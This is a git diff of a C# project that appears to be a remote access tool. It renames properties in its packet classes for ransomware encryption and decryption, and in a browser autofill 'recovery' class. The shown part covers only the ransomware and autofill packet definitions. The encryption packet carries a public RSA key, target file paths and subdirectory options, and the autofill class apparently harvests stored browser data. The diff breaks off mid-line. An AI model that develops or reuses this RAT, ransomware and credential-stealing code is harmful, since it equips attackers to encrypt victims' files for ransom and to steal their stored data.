diff --git a/Remote Access Tool/Utils/PacketLib/Packet/Ransomware/RansomwareConfirmationPacket.cs b/Remote Access Tool/Utils/PacketLib/Packet/Ransomware/RansomwareConfirmationPacket.cs
index d5ba00f3..bc2eee21 100644
--- a/Remote Access Tool/Utils/PacketLib/Packet/Ransomware/RansomwareConfirmationPacket.cs
+++ b/Remote Access Tool/Utils/PacketLib/Packet/Ransomware/RansomwareConfirmationPacket.cs
@@ -12,21 +12,21 @@ public class RansomwareConfirmationPacket : IPacket
{
public RansomwareConfirmationPacket(PacketType packetType, string results, string baseIp, string HWID) : base()
{
- this.packetType = packetType;
+ this.PacketType = packetType;
this.results = results;
- this.baseIp = baseIp;
+ this.BaseIp = baseIp;
this.HWID = HWID;
}
public string HWID { get; set; }
- public string baseIp { get; set; }
- public byte[] plugin { get; set; }
- public PacketType packetType { get; }
- public PacketState packetState { get; set; }
- public string status { get; set; }
- public string datePacketStatus { get; set; }
- public int packetSize { get; set; }
+ public string BaseIp { get; set; }
+ public byte[] Plugin { get; set; }
+ public PacketType PacketType { get; }
+ public PacketState PacketState { get; set; }
+ public string Status { get; set; }
+ public string DatePacketStatus { get; set; }
+ public int PacketSize { get; set; }
public string results { get; set; }
}
diff --git a/Remote Access Tool/Utils/PacketLib/Packet/Ransomware/RansomwareDecryptionPacket.cs b/Remote Access Tool/Utils/PacketLib/Packet/Ransomware/RansomwareDecryptionPacket.cs
index 8f12314a..9bd67e18 100644
--- a/Remote Access Tool/Utils/PacketLib/Packet/Ransomware/RansomwareDecryptionPacket.cs
+++ b/Remote Access Tool/Utils/PacketLib/Packet/Ransomware/RansomwareDecryptionPacket.cs
@@ -14,18 +14,18 @@ public class RansomwareDecryptionPacket : IPacket
public RansomwareDecryptionPacket(string privateRSAServerKey) : base()
{
- this.packetType = PacketType.RANSOMWARE_DECRYPTION;
+ this.PacketType = PacketType.RANSOMWARE_DECRYPTION;
this.privateRSAServerKey = privateRSAServerKey;
}
public string HWID { get; set; }
- public string baseIp { get; set; }
- public byte[] plugin { get; set; }
- public PacketType packetType { get; }
- public PacketState packetState { get; set; }
- public string status { get; set; }
- public string datePacketStatus { get; set; }
- public int packetSize { get; set; }
+ public string BaseIp { get; set; }
+ public byte[] Plugin { get; set; }
+ public PacketType PacketType { get; }
+ public PacketState PacketState { get; set; }
+ public string Status { get; set; }
+ public string DatePacketStatus { get; set; }
+ public int PacketSize { get; set; }
public Algorithm algorithm { get; set; }
public bool isBlockCipher { get; set; }
diff --git a/Remote Access Tool/Utils/PacketLib/Packet/Ransomware/RansomwareEncryptionPacket.cs b/Remote Access Tool/Utils/PacketLib/Packet/Ransomware/RansomwareEncryptionPacket.cs
index 6dbe4e3f..d42abdf7 100644
--- a/Remote Access Tool/Utils/PacketLib/Packet/Ransomware/RansomwareEncryptionPacket.cs
+++ b/Remote Access Tool/Utils/PacketLib/Packet/Ransomware/RansomwareEncryptionPacket.cs
@@ -13,12 +13,12 @@ public class RansomwareEncryptionPacket : IPacket
{
public RansomwareEncryptionPacket(PacketType packetType) : base()
{
- this.packetType = packetType;
+ this.PacketType = packetType;
}
public RansomwareEncryptionPacket(string publicRSAServerKey, List paths, bool subDirectories, bool checkExtensions) : base()
{
- this.packetType = PacketType.RANSOMWARE_ENCRYPTION;
+ this.PacketType = PacketType.RANSOMWARE_ENCRYPTION;
this.publicRSAServerKey = publicRSAServerKey;
this.paths = paths;
this.subDirectories = subDirectories;
@@ -26,13 +26,13 @@ public RansomwareEncryptionPacket(string publicRSAServerKey, List paths,
}
public string HWID { get; set; }
- public string baseIp { get; set; }
- public byte[] plugin { get; set; }
- public PacketType packetType { get; }
- public PacketState packetState { get; set; }
- public string status { get; set; }
- public string datePacketStatus { get; set; }
- public int packetSize { get; set; }
+ public string BaseIp { get; set; }
+ public byte[] Plugin { get; set; }
+ public PacketType PacketType { get; }
+ public PacketState PacketState { get; set; }
+ public string Status { get; set; }
+ public string DatePacketStatus { get; set; }
+ public int PacketSize { get; set; }
public string publicRSAServerKey { get; set; }
public List paths { get; set; }
diff --git a/Remote Access Tool/Utils/PacketLib/Packet/Recovery/AutofillPacket.cs b/Remote Access Tool/Utils/PacketLib/Packet/Recovery/AutofillPacket.cs
index ee313cca..a1a2097a 100644
--- a/Remote Access Tool/Utils/PacketLib/Packet/Recovery/AutofillPacket.cs
+++ b/Remote Access Tool/Utils/PacketLib/Packet/Recovery/AutofillPacket.cs
@@ -14,28 +14,28 @@ public class AutofillPacket : IPacket
//server
public AutofillPacket() : base()
{
- packetType = PacketType.RECOVERY_AUTOFILL;
+ PacketType = PacketType.RECOVERY_AUTOFILL;
}
//client
public AutofillPacket(List